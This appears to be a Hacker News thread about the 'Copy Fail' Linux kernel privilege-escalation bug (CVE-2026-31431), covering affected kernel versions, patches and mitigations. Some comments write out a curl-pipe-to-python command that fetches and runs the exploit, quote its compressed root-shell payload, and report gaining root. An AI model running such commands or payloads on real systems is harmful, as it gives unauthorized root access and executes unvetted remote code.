      The design philosophy of mainstream Linux distros is not like OpenBSD. Linux distros go to market as maximally capable, maximally interoperable, and maximally available for whatever the users want to do. So there is a lot of "shovelware" that is unnecessarily installed with your base system. A lot of services are enabled that you don't need. A lot of kernel modules are loaded or ready to spring into action as soon as you connect hardware that the kernel recognizes. All this maximizing also increases the system's attack surface, whether local or over the network. Your resources, time and effort increase, to update the system and maintain all those packages. The TCO is high. With OpenBSD, the base system is hardened and the code is audited with security in mind. They only install or enable essential functions. So it's up to the user to dig in, customize it, and add in features that are needed. The good news is that you can do some after-market hardening. Uninstall software that you're not using, and disable non-essential services. Tune your kernel for special-purpose, or general-purpose, but not every-purpose. There are now special distros for containers and VMs with minimal system builds. They are designed to be as small and lightweight as possible. That is a good start in the right direction.
• arcfour 6mo ago
  It's unfortunate that this does not include which versions of the kernel are vulnerable/patched, especially since this is a builtin module which cannot be easily removed with rmmod... I was wondering if I was vulnerable running Fedora 44, kernel 6.19.14, and after a few minutes of digging I was able to find the linux-cve-announce mailing list post: https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/T/#u https://lore.kernel.org/linux-cve-announce/2026042214-CVE-20... which says: ...fixed in 6.18.22 with commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8 ...fixed in 6.19.12 with commit ce42ee423e58dffa5ec03524054c9d8bfd4f6237 ...fixed in 7.0 with commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 Hope that helps.
  • hnarn 6mo ago
    most distros backport fixes which does not increment that version number. i.e. they patch it, they do not ship a completely new kernel release.
  • baggy_trough 6mo ago
    Greg KH says more backports coming soon. https://openwall.com/lists/oss-security/2026/04/30/12 https://openwall.com/lists/oss-security/2026/04/30/12
  • noisy_boy 6mo ago
    Thanks for this - I was wondering why I got the password prompt on my Fedora 43 with latest packages.
• WhyNotHugo 6mo ago
  > Any setuid-root binary readable by the user works. Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work. I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.
  • ranger_danger 6mo ago
    Wouldn't executing it still put it in the page cache, just in a different place?
• FlyThruTheSun 6mo ago
  [dead]
• commandersaki 6mo ago
  Tried this on my arch VPS which has a few users that hasn't been rebooted for 122 days. Got: OSError: [Errno 97] Address family not supported by protocol I guess AF_ALG is not part of the Arch Linux LTS kernel? Edit: Looks like on Arch you have to go out of your way to have this enabled. $ zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API CONFIG_CRYPTO_USER_API=m CONFIG_CRYPTO_USER_API_HASH=m CONFIG_CRYPTO_USER_API_SKCIPHER=m CONFIG_CRYPTO_USER_API_RNG=m # CONFIG_CRYPTO_USER_API_RNG_CAVP is not set CONFIG_CRYPTO_USER_API_AEAD=m # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set $ uname -r 6.12.63-1-lts
  • sltkr 6mo ago
    On my Arch boxes the official exploit works, both with the LTS kernel (6.18.21-1-lts) and the mainline release (6.19.6-arch1-1).
    • commandersaki 6mo ago
      Yeah I think maybe it loads the module on demand. The problem is I've upgraded my kernel many times in the last 122 days which wipes out the running or last installed kernel modules directory. I'm guessing if I had my running kernel modules directory it would on demand load and I'd get root.
    • forbiddenlake 6mo ago
      6.19.6 is nearly 2 months old, you should probably check your mirrors! 7.0.3 is in Arch already. https://gitlab.archlinux.org/archlinux/packaging/packages/linux/-/commits/main https://gitlab.archlinux.org/archlinux/packaging/packages/li...
• tgies 6mo ago
  The Python dependency is easily eliminated, and the x86_64 payload made cross-platform: https://github.com/tgies/copy-fail-c https://github.com/tgies/copy-fail-c
• mikeweiss 6mo ago
  Anyone have any idea when Bottlerocket will acknowledge CVE? Seems like a critical for kubernetes nodes...... https://github.com/bottlerocket-os/bottlerocket/security/advisories https://github.com/bottlerocket-os/bottlerocket/security/adv...
• TZubiri 6mo ago
  It looks like this is legit, but the script is very phishy and I wouldn't run it in unvirtualized or disposable systems. https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m... >zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands) That said, I understand why a terser script might have been prioritized. EDIT: There's a couple of C ports in the comments that contain more details and no compressed payloads.
  • q3k 6mo ago
    > This is not source code, this is binary, it's entirely possible that this contains a script that downloads another malicious script (or that simply contains the malicious commands) It doesn't, it's just a compressed ELF file that does setuid(0); execve(/bin/sh, 0, 0). You can just unzlib it and throw it in a disassembler.
• giis 6mo ago
  As soon as I read this >Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root jumped out of bed and went straight into webminal.org servers as local user and ran the python code. It says permission denied on sock() call. Then I tested with local laptop with it: ``` $ uname -a Linux debian 6.12.43+deb12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.43-1~bpo12+1 (2025-09-06) x86_64 GNU/Linux $ python3 copy_fail_exp.py # cd /root && ls bluetooth_fix_log.txt dead.letter overcommit_memorx~ overcommit_memory~ overcommit_memorz~ resize.txt snap ``` It does provide the root access!
  • Joe_Cool 6mo ago
    Anyone tried in an Azure Cloud Shell? Asking for a friend ;) EDIT: Don't. "/s" in case not obvious.
  • m-ueberall 6mo ago
    I also tested this on an Ubuntu 24.04 (x86_64) host w/ GA kernel ("6.8.0-103-generic #103-Ubuntu SMP PREEMPT_DYNAMIC Tue Feb 10 13:34:59 UTC 2026 x86_64 GNU/Linux") and wasn't able to reproduce the "problem", although `canonical-livepatch` tells me that there are currently "no livepatches available".
  • a96 6mo ago
    Beware that running this kind of thing even as a test on a host you don't own may well be a criminal offense!
    • TZubiri 6mo ago
      Everything MAY be a criminal offense. Whether it has any merit is another matter. If I were accused of anything criminal for running this in a host, my defense would be that I was checking the safety of a service I was being offered. If the service was vulnerable, I would counterclaim, if you are on the defense you are already losing.
      • danparsonson 6mo ago
• deleted 6mo ago
  [deleted]
• nromiun 6mo ago
  I tried this exploit on Android and it looks like you need root in the first place to create an AF_ALG socket. I guess it is an SELinux policy to disable AF_ALG entirely.
• SeriousM 6mo ago
  I wonder if this is a problem for very old honeypods like the one on turris omnia, sold many years ago. Docker wasn't a thing these days and everything was done with lcx containers, if at all.
• jeffwass 6mo ago
  This submission is currently the main HN submission. As of now the submission title is simply “Copy Fail”. Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability? Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”
  • ramon156 6mo ago
    I dont really get why you'd - buy a domain - vibe code a page/artifact/whatever (which, given the quality of LLM wordings, only makes an argument less strong) - post it on HN with no further explanation in the title Why not write a detailed report? Even a tweet makes much more sense in my head than this. Even a logo?? Sorry if this comes over as salty, I guess I'm just not getting the thought process.
    • eddythompson80 6mo ago
      Maybe it’s tradition https://news.ycombinator.com/item?id=7548991 https://news.ycombinator.com/item?id=7548991
    • stingraycharles 6mo ago
      I think they’re using it to promote their product, Xint Code, which was used to discover it. That’s the way I read it anyway.
      • otherme123 6mo ago
        I hope they sell a lot of Xint Code licenses, so they don't have to sell their findings.
        • Orygin 6mo ago
          Considering they kinda botched the disclosure to Linux distros, I guess they wanted something most sensational to sell more licenses.
• rtpg 6mo ago
  Can we just make a one-pager instead of this nonsense LLM bullet pointed list that is explaining this issue to your pointy-haired CEO instead of to sysadmins who understand the badness in 3 lines? Yeesh
• fsflover 6mo ago
  As usual, Qubes is not vulnerable, since by its design, any untrusted software runs in dedicated VMs with hardware virtualization. Meanwhile, recent Xen CVEs also do not affect Qubes, as usual, https://www.qubes-os.org/news/2026/04/28/xsas-released-on-2026-04-28/ https://www.qubes-os.org/news/2026/04/28/xsas-released-on-20...
  • kuhsaft 6mo ago
    You know that Xen is just a hypervisor right? Dom0 (the admin Qube) is running the Linux kernel and is vulnerable like any other Linux system. DomU (App Qubes) also run the Linux kernel and are just as vulnerable. You can check your DomU kernels using this guide: https://doc.qubes-os.org/en/latest/user/advanced-topics/managing-vm-kernels.html https://doc.qubes-os.org/en/latest/user/advanced-topics/mana... If your Dom0 or DomU is running kernel < 6.18.22, or between 6.19.0 and 16.19.12 you are vulnerable. https://github.com/QubesOS/qubes-linux-kernel/pull/1272 https://github.com/QubesOS/qubes-linux-kernel/pull/1272 commit fafe0fa2995a of the kernel mirror Currently stable version of QubeOS does not have the patched kernels. https://yum.qubes-os.org/r4.3/current/dom0/fc41/rpm/ https://yum.qubes-os.org/r4.3/current/dom0/fc41/rpm/
    • fsflover 6mo ago
      > Dom0 (the admin Qube) is running the Linux kernel and is vulnerable Yes, it is vulnerable, except there is no attack vector, as you don't run any software there: https://doc.qubes-os.org/en/r4.3/user/downloading-installing-upgrading/supported-releases.html#note-on-dom0-and-eol https://doc.qubes-os.org/en/r4.3/user/downloading-installing... > DomU (App Qubes) also run the Linux kernel and are just as vulnerable. I think you misinterpret the Qubes approach to security. If you do everything in one VM, you get no protection from the virtualization. Moreover, there is no sudo password by design: https://doc.qubes-os.org/en/r4.3/user/security-in-qubes/vm-sudo.html https://doc.qubes-os.org/en/r4.3/user/security-in-qubes/vm-s... This is not how to use Qubes. You need to compartmentalize your workflows. It doesn't matter if my disposable VM is compromised. My secrets are in another, offline VM, where I never run anything. There is no way to use the discussed vulnerability, if one uses Qubes according to docs. See examples here: https://doc.qubes-os.org/en/latest/user/how-to-guides/how-to-organize-your-qubes.html https://doc.qubes-os.org/en/latest/user/how-to-guides/how-to...
• archon810 6mo ago
  curl https://copy.fail/exp | python3 && su Traceback (most recent call last): File "<stdin>", line 9, in <module> File "<stdin>", line 5, in c AttributeError: module 'os' has no attribute 'splice' Does this mean I'm not affected or it's a buggy script? Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!
  • orlp 6mo ago
    What is your Python version? Splice was added in 3.10. https://docs.python.org/3/library/os.html#os.splice https://docs.python.org/3/library/os.html#os.splice
    • archon810 6mo ago
      Edited with an update.
  • z3n1th 6mo ago
    It is trivial to re-write splice, just because the PoC uses it does not mean you're "not affected".
  • nnnniiiiiiggg 6mo ago
    do yourself a favor just pwn your laptop now with a sledgehammer and switch to an ipad or one of those big number phones for the elderly
• deleted 6mo ago
  [deleted]
• lloydatkinson 6mo ago
  You can tell security has become complete theatre when people are registering domains and setting up a whole fucking website for individual ones.
• RandomGerm4n 6mo ago
  That is why we should get rid of setuid binaries. GrapheneOS does not use them and was therefore not affected. On the desktop there is also a project called Secureblue based on Fedora Atomic that is moving in a similar direction and has already eliminated a large number though not all setuid binaries. As an alternative to sudo, su, and pkexec there is for example run0, which is available in distributions using systemd. Since systemd 259 there is now also the --empower parameter which like sudo elevates the privileges of the regular user. Essentially any distribution could start removing sudo and create an alias so that users don’t have to adjust immediately.
  • dontdoxxme 6mo ago
    No, it is not affected by the exploit as presented. This is a page cache write, so writing to a binary that root will run later can work too. This isn’t a reason to push an agenda that dislikes setuid binaries.
    • RandomGerm4n 6mo ago
      That would only work if the user had access to a binary that they wanted to run as root. Ideally this shouldn’t happen at all for most users. There is almost never a legitimate reason to run any program as root unless for example it is a service that absolutely requires it. In Fedora based distributions SELinux also prevents systemd from running any binaries or scripts that the user has access to as root. Removing setuid binaries and strictly limiting features like user namespaces through SELinux would make Linux significantly more secure. It’s absolutely ridiculous that even an outdated Android smartphone is more secure than the average Linux distribution these days.
      • dataflow 6mo ago
        Yeah. The whole Linux security model seems like it was designed centuries ago. Your permissions are supposed to derive from the authority granted to you at the time of your invocation, and from those with the existing authority to grant/delegate them... not from your lineage, name, possessions, or status at birth. I find it kind of funny that generations of *nix engineers appear to have perpetually struggled with this concept. For all the hate it gets, Windows got this part fundamentally right.
• ilaksh 6mo ago
  Does this affect my Hetzner VPSs running Ubuntu probably? Or Nebius H200 VMs? They are probably Ubuntu 24 but don't remember.
• pelasaco 6mo ago
  Fun day for people running bare metal GPU nodes, where teams have been training models for months, and now it must be abruptly aborted to apply security patches... is that something that can be resumed, or do they have to restart from scratch?
• parliament32 6mo ago
  Note that in kubernetes, setting `allowPrivilegeEscalation` to false (which you should be doing already, it's in the Pod Security Standards Restricted profile) mitigates this.
  • j16sdiz 6mo ago
    according to this reddit post https://www.reddit.com/r/kubernetes/comments/1szn6p1/comment/oj4cs67/ https://www.reddit.com/r/kubernetes/comments/1szn6p1/comment...? > the primary mitigation is still patching the node kernel; user namespaces are blast-radius reduction, not a complete mitigation for this path
    • parliament32 6mo ago
      allowPrivilegeEscalation is unrelated to user namespaces. Many vendors do not yet have kernel patches available, but yes that'll eventually be the proper fix.
  • TZubiri 6mo ago
    They have a setting for that? That's crazy, feels like prompting "make no mistakes" to the llm. If it works, when would you want it turned on? Why isn't false the default
    • parliament32 6mo ago
      Because it would break all setuid binaries? Same reason the Linux kernel doesn't set no_new_privs (https://docs.kernel.org/userspace-api/no_new_privs.html https://docs.kernel.org/userspace-api/no_new_privs.html) by default. As an operator you are responsible for configuring your environment correctly. I would recommend starting here: https://kubernetes.io/docs/concepts/security/ https://kubernetes.io/docs/concepts/security/
      • TZubiri 6mo ago
        https://kubernetes.io/docs/concepts/security/pod-security-standards/#restricted https://kubernetes.io/docs/concepts/security/pod-security-st... Relevant section
• 42wim 6mo ago
  I've (well, mostly Claude did) created a module that unloads the active AF_ALG (builtin) module and mitigates the exploit without having to reboot. Tested on almalinux8/9 https://gist.github.com/42wim/2e3cc3c92333e4c2730541e6f0e03862 https://gist.github.com/42wim/2e3cc3c92333e4c2730541e6f0e038... YMMV
  • zackr 6mo ago
    looking good to me so far, thank you!
• deleted 6mo ago
  [deleted]
• proactivesvcs 6mo ago
  [dead]
• 1vuio0pswjnm7 6mo ago
  The "default exploit" would not work for me as there is no python nor /usr/bin/su on the computer I'm using Failed to meet the assumptions I guess NB. I'm only referring to the "default exploit" not the vulnerability itself
  • krunck 6mo ago
    Any Setuid binary will work: passwd, chsh, chfn, mount, sudo, pkexec.
• 0xmagic0 6mo ago
  0xdf made a nice breakdown video: https://www.youtube.com/watch?v=wQ914geKOcw https://www.youtube.com/watch?v=wQ914geKOcw
• Deception4879 6mo ago
  And here is a no-reboot, ebpf-based blocker if you don't need the feature: https://github.com/lestercheung/linux-copy-fail-workarounds/ https://github.com/lestercheung/linux-copy-fail-workarounds/
  • atgreen 6mo ago
    I created something similar earlier today: https://github.com/atgreen/block-copyfail https://github.com/atgreen/block-copyfail
• realaaa 6mo ago
  AI marketing goes ballistic now
• deleted 6mo ago
  [deleted]
• alexdevphp 6mo ago
  Has anyone seen patched kernel updates for Ubuntu yet? I’m not seeing anything available so far on my systems
• reinject 5mo ago
  [dead]